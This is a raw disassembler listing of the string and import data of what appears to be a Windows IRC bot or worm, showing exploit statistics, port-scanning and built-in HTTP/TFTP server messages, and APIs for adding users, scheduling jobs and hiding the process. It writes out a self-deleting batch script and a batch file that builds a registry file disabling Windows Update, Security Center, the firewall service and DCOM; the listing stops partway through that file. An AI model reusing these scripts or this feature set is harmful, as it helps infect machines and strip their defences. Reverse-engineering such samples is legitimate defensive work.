; seg000:0040D38Eo
aMsass db 'msass',0
align 4
dd 100h, 3 dup(0)
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_404EB9+81o
align 10h
aSD db ' %s: %d,',0 ; DATA XREF: sub_404EB9+42o
align 4
unk_4200BC db 2 ; DATA XREF: sub_404EB9+11o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aExploitStatist db ' Exploit Statistics:',0
align 4
unk_4200F4 db 2 ; DATA XREF: sub_404F83+42o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aScanNotActive_ db ' Scan not active.',0
unk_420128 db 2 ; DATA XREF: sub_404F83+2Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCurrentIpS_ db ' Current IP: %s.',0
align 4
unk_42015C db 2 ; DATA XREF: seg000:00405369o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aFailedToStartS db 'Failed to start server, error: <%d>.',0
align 4
unk_4201A4 db 2 ; DATA XREF: seg000:00405301o
; seg000:0040D8DAo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aServerListenin db 'Server listening on IP: %s:%d, Directory: %s\.',0
align 4
dword_4201F4 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: seg000:00405261o
dd 2029206Ch, 2BBBB02h
aFailedToStar_0 db ' Failed to start server, error: <%d>.',0
align 4
dword_420238 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: seg000:004051F4o
dd 2029206Ch, 2BBBB02h
aServerStartedO db ' Server started on Port: %d, File: %s, Request: %s.',0
align 4
unk_42028C db 2 ; DATA XREF: seg000:00405143o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aFailedToStar_1 db 'Failed to start server, error: <%d>.',0
align 4
unk_4202D4 db 2 ; DATA XREF: seg000:004050D5o
; seg000:0040D764o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aServerStarte_0 db 'Server started on Port: %d, File: %s, Request: %s.',0
align 4
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_4053D6+38o
; sub_407435+46o
unk_420334 db 2 ; DATA XREF: sub_40550F+EBo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aIpSPortDIsOpen db ' IP: %s, Port %d is open.',0
unk_420370 db 2 ; DATA XREF: sub_40550F+93o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aIpSDScanThread db ' IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
align 10h
unk_4203C0 db 2 ; DATA XREF: sub_40550F+3E2o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFinishedAtSDAf db ' Finished at %s:%d after %d minute(s) of scanning.',0
align 4
unk_420418 db 2 ; DATA XREF: sub_40550F+387o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStar_2 db ' Failed to start worker thread, error: <%d>.',0
align 4
unk_420468 db 2 ; DATA XREF: sub_40550F+317o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSDScanThreadDS db ' %s:%d, Scan thread: %d, Sub-thread: %d.',0
align 4
unk_4204B4 db 2 ; DATA XREF: sub_40550F+29Bo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToInitia db ' Failed to initialize critical section.',0
align 10h
unk_420500 db 2 ; DATA XREF: sub_405982+156o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartC db ' Failed to start client thread, error: <%d>.',0
align 10h
unk_420550 db 2 ; DATA XREF: sub_405982+E1o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aClientConnecti db ' Client connection from IP: %s:%d, Server thread: %d.',0
unk_4205A8 db 2 ; DATA XREF: sub_405B0A+1AAo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStar_3 db ' Failed to start connection thread, error: <%d>.',0
align 4
unk_4205FC db 2 ; DATA XREF: sub_405B0A+E1o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aClientConnec_0 db ' Client connection to IP: %s:%d, Server thread: %d.',0
align 4
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_405D8E+B8Co
align 4
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_405D8E+B7Fo
align 4
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_405D8E+B72o
align 4
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_405D8E+B65o
align 4
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_405D8E+B58o
align 4
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_405D8E+B50o
align 4
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_405D8E:loc_4068D1o
align 4
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_405D8E+B0Eo
align 4
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_405D8E+B06o
align 4
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_405D8E:loc_406887o
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_405D8E+AB4o
align 4
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_405D8E+AA7o
align 10h
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_405D8E+A9Ao
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_405D8E+A92o
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_405D8E:loc_406813o
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_405D8E+A50o
align 4
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_405D8E+A48o
align 4
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_405D8E:loc_4067C9o
align 4
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_405D8E+A06o
align 4
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_405D8E+9FEo
align 4
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_405D8E:loc_40677Fo
align 4
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_405D8E+974o
align 10h
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_405D8E+967o
align 10h
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_405D8E+95Ao
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_405D8E+94Do
align 4
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_405D8E+940o
align 4
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_405D8E+933o
align 4
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_405D8E+926o
align 4
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_405D8E+919o
align 4
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_405D8E+90Co
align 4
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_405D8E+8FFo
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_405D8E+8F7o
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_405D8E:loc_406674o
align 4
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_405D8E+8A9o
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_405D8E+89Co
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_405D8E+894o
align 4
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_405D8E:loc_406615o
align 10h
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_405D8E+85Ao
align 4
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_405D8E+7E8o
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_405D8E+7DBo
align 4
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_405D8E+7CEo
align 4
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_405D8E+7C1o
align 4
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_405D8E+7B4o
align 4
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_405D8E+7A7o
align 10h
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_405D8E+79Ao
align 4
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_405D8E+78Do
align 4
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_405D8E+780o
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_405D8E+778o
align 10h
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_405D8E:loc_4064F5o
aClosesocket db 'closesocket',0 ; DATA XREF: sub_405D8E+62Eo
aGetpeername db 'getpeername',0 ; DATA XREF: sub_405D8E+621o
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_405D8E+614o
align 4
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_405D8E+607o
align 4
aGethostname db 'gethostname',0 ; DATA XREF: sub_405D8E+5FAo
aGetsockname db 'getsockname',0 ; DATA XREF: sub_405D8E+5EDo
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_405D8E+5E0o
align 4
aAccept db 'accept',0 ; DATA XREF: sub_405D8E+5D3o
; seg002:00423454o
align 10h
aListen db 'listen',0 ; DATA XREF: sub_405D8E+5C6o
align 4
aSelect db 'select',0 ; DATA XREF: sub_405D8E+5B9o
align 10h
aBind db 'bind',0 ; DATA XREF: sub_405D8E+5B1o
align 4
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_405D8E+59Fo
align 4
aRecv db 'recv',0 ; DATA XREF: sub_405D8E+592o
align 4
aSendto db 'sendto',0 ; DATA XREF: sub_405D8E+585o
align 4
aSend db 'send',0 ; DATA XREF: sub_405D8E+578o
; seg000:0040AC53o
align 4
aNtohl db 'ntohl',0 ; DATA XREF: sub_405D8E+56Bo
align 4
aNtohs db 'ntohs',0 ; DATA XREF: sub_405D8E+55Eo
align 4
aHtonl db 'htonl',0 ; DATA XREF: sub_405D8E+551o
align 4
aHtons db 'htons',0 ; DATA XREF: sub_405D8E+544o
align 4
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_405D8E+537o
align 4
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_405D8E+52Ao
align 4
aConnect db 'connect',0 ; DATA XREF: sub_405D8E+51Do
; seg002:00423864o
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_405D8E+510o
aSocket db 'socket',0 ; DATA XREF: sub_405D8E+503o
align 10h
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_405D8E+4F6o
align 4
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_405D8E+4E9o
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_405D8E+4DCo
align 4
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_405D8E+4CFo
align 4
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_405D8E+4C2o
align 4
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_405D8E+4B5o
align 4
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_405D8E+4ADo
align 10h
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_405D8E+49Co
align 4
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_405D8E+429o
align 4
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_405D8E+41Co
align 4
aBitblt db 'BitBlt',0 ; DATA XREF: sub_405D8E+40Fo
align 10h
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_405D8E+402o
align 10h
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_405D8E+3F5o
align 4
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_405D8E+3E8o
align 4
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_405D8E+3DBo
align 4
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_405D8E+3CEo
align 4
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_405D8E+3C6o
align 4
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_405D8E:loc_406143o
align 4
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_405D8E:loc_40611Bo
align 4
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_405D8E+335o
align 10h
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_405D8E+328o
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_405D8E+31Bo
align 4
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_405D8E+30Eo
align 4
aControlservice db 'ControlService',0 ; DATA XREF: sub_405D8E+301o
align 4
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_405D8E+2F4o
align 4
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_405D8E+2E7o
align 4
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_405D8E:loc_40606Do
align 4
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_405D8E+2AFo
align 10h
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_405D8E+2A2o
align 4
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_405D8E:loc_406028o
align 4
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_405D8E+252o
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_405D8E+245o
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_405D8E+238o
align 4
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_405D8E+22Bo
align 4
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_405D8E+21Eo
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_405D8E+216o
align 4
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_405D8E:loc_405F93o
align 4
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_405D8E+1A0o
align 4
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_405D8E+193o
align 4
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_405D8E+186o
align 10h
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_405D8E+179o
align 10h
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_405D8E+16Co
align 10h
aIswindow db 'IsWindow',0 ; DATA XREF: sub_405D8E+15Fo
align 4
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_405D8E+152o
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_405D8E+14Ao
align 4
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_405D8E:loc_405EC3o
; sub_4195E1+Do
align 4
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_405D8E:loc_405E96o
align 4
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_405D8E+A0o
align 4
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_405D8E+93o
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_405D8E+86o
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_405D8E+79o
align 4
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_405D8E+6Co
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_405D8E+5Fo
aModule32first db 'Module32First',0 ; DATA XREF: sub_405D8E+52o
align 4
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_405D8E+45o
align 4
aProcess32first db 'Process32First',0 ; DATA XREF: sub_405D8E+38o
align 4
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_405D8E+2Bo
align 4
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_405D8E+23o
align 4
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_405D8E+Ao
align 4
dword_420E94 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_406977+2BEo
dd 2029206Ch, 2BBBB02h
aDllTestComplet db ' DLL test complete.',0
align 4
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_406977+298o
aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_406977+264o
align 4
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_406977+230o
align 4
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_406977+1FCo
align 10h
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_406977+1C8o
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_406977+194o
align 4
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_406977+160o
align 4
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_406977+12Co
align 4
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_406977+F8o
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_406977+C4o
align 4
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_406977+90o
align 4
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_406977+5Co
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_406977+28o
align 4
aSErrorSD_ db '%s Error: %s <%d>.',0
align 4
aMirc db 'mIRC',0 ; DATA XREF: sub_406F91+5o
; sub_40F9AB+18o
align 4
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_407013+1Co
align 4
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_4070B7+2o
aComspecCSS db '%%comspec%% /c %s %s',0
align 10h
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: seg000:0040715Eo
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
aSdel_bat db '%sdel.bat',0 ; DATA XREF: seg000:00407121o
align 10h
aCAv3_bat db 'c:\av3.bat',0 ; DATA XREF: sub_407261+29o
align 4
a@echoOffEchoRe db '@echo off',0Dh,0Ah ; DATA XREF: sub_407261+14o
db 'Echo REGEDIT4>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT'
db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TransportBindName"="">>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Share'
db 'dAccess]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuaus'
db 'erv]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>'
db '%temp%\1.reg',0Dh,0Ah
db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableDCOM"="N">>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableRemoteConnect"="N">>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>>'
db '%temp%\1.reg',0Dh,0Ah
db 'Echo "restrictanonymous"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Securi'
db 'tyProviders\SCHANNEL\Protocols\PCT1.0\Server]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Enabled"=hex:00>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanma'
db 'nserver\parameters]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "AutoShareWks"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "AutoShareServer"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip'
db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "NameServer"="">>%temp%\1.reg',0Dh,0Ah
db 'Echo "ForwardBroadcasts"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "IPEnableRouter"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Domain"="">>%temp%\1.reg',0Dh,0Ah
db 'Echo "SearchList"="">>%temp%\1.reg',0Dh,0Ah
db 'Echo "UseDomainNameDevolution"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableICMPRedirect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DeadGWDetectDefault"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DontAddDefaultGatewayDefault"=dword:00000000>>%temp%\1.reg',0Dh
db 0Ah
db 'Echo "EnableSecurityFilters"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "AllowUnqualifiedQuery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "PrioritizeRecordData"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TCP1320Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
db 'Echo "KeepAliveTime"=dword:00023280>>%temp%\1.reg',0Dh,0Ah
db 'Echo "BcastQueryTimeout"=dword:000002ee>>%temp%\1.reg',0Dh,0Ah
db 'Echo "BcastNameQueryCount"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "CacheTimeout"=dword:0000ea60>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Size/Small/Medium/Large"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
db 'Echo "LargeBufferSize"=dword:00001000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "SynAckProtect"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
db 'Echo "PerformRouterDiscovery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnablePMTUBHDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "FastSendDatagramThreshold "=dword:00000400>>%temp%\1.reg',0Dh,0Ah
db 'Echo "StandardAddressLength "=dword:00000018>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DefaultReceiveWindow "=dword:00004000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DefaultSendWindow"=dword:00004000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "BufferMultiplier"=dword:00000200>>%temp%\1.reg',0Dh,0Ah
db 'Echo "PriorityBoost"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
db 'Echo "IrpStackSize"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
db 'Echo "IgnorePushBitOnReceives"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DisableAddressSharing"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "AllowUserRawAccess"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DisableRawSecurity"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DynamicBacklogGrowthDelta"=dword:00000032>>%temp%\1.reg',0Dh,0Ah
db 'Echo "FastCopyReceiveThreshold"=dword:00000400>>%temp%\1.reg',0Dh,0Ah
db 'Echo "LargeBufferListDepth"=dword:0000000a>>%temp%\1.reg',0Dh,0Ah
